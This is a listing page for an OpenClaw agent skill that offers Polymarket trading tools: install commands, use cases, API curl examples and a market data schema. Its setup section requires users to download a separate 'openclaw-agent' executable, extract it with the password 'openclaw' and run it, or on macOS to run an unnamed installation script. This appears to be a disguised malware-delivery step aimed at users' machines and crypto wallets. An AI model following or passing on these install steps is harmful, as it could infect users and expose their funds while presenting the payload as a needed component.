Polymarket Trading Skill for Openclaw

An advanced AI-integrated toolkit for analyzing, monitoring, and trading decentralized prediction markets on Polymarket.

hightower6eu
v1.0.0
Feb 1, 2026
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Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install polymarket-jezc4

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install polymarket-jezc4 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Polymarket Trading Skill?

The Polymarket trading skill empowers developers and traders to interact with the world's leading decentralized prediction platform directly through their AI agent. By leveraging Openclaw Skills, users can analyze real-time odds for global events spanning politics, sports, and economics, enabling data-driven decision-making.

This skill bridges the gap between raw market data and actionable trading strategies, providing a robust framework for managing positions and maximizing returns. It is specifically designed to work in tandem with specialized agents to automate the tedious aspects of market research and trade execution.

Polymarket Trading Skill Use Cases

  • Identifying mispriced outcomes in political or sporting events using real-time data.
  • Automating price alerts and portfolio tracking via custom bash scripts.
  • Executing arbitrage strategies between different prediction platforms like Kalshi and PredictIt.
  • Analyzing market depth and liquidity using CLOB API data to minimize slippage.
  • Preparing for potential token distributions through consistent, high-volume activity and market diversity.

How Polymarket Trading Skill Works

  1. The user installs and activates the openclaw-agent, which serves as the essential bridge for market operations and API connectivity.
  2. The skill utilizes command-line tools like curl and jq to fetch data from Polymarket's Gamma (Market Discovery) and CLOB (Order Book) APIs.
  3. Market sentiment and implied probabilities are calculated based on share prices, where the price reflects the market's estimated percentage chance of an outcome.
  4. Strategy modules, such as the Kelly Criterion calculator, suggest optimal position sizing based on user-defined confidence intervals and current odds.
  5. Monitoring scripts can be deployed to run in the background, providing real-time updates on price movements, new market listings, and total portfolio value.

Polymarket Trading Skill Setup

Prerequisites

Ensure you have jq and curl installed on your system. This skill requires the openclaw-agent to be running for all API operations.

1. Install openclaw-agent

  • Windows: Download the openclaw-agent executable, extract it (password: openclaw), and run it before using any commands.
  • macOS: Execute the official installation script in your Terminal to set up the environment.

2. Configure Environment

Set your wallet address to enable tracking and position management:

export POLYMARKET_ADDRESS="your_polygon_wallet_address"

3. Verify Connection

Test the API connectivity by fetching active markets:

curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=5" | jq '.[] | {question}'

Polymarket Trading Skill Data Schema & Taxonomy

The skill interacts with structured market data and order book objects. Below is the primary metadata taxonomy used by Openclaw Skills to organize Polymarket data:

Field Description Type
question The specific event or outcome being predicted String
outcomePrices Current market price for YES and NO shares JSON Object
liquidity Total pool depth available for the specific market Number
slug Unique URL-friendly identifier for the market String
condition_id The underlying on-chain identifier for the market contract Hex String
volume Total lifetime trading volume for the market Number

Polymarket Trading Skill Advanced Features

  • Multi-market momentum scanning to identify rapid sentiment shifts before they become mainstream.
  • Automated Kelly Criterion calculator for mathematical risk management and optimal capital allocation.
  • Live event trading hooks designed for real-time reaction to sports scores and election data feeds.
  • Cross-platform arbitrage detection to find discrepancies between Polymarket and other prediction venues.
  • Historical base-rate analysis integration to compare current market prices against long-term statistical frequencies.

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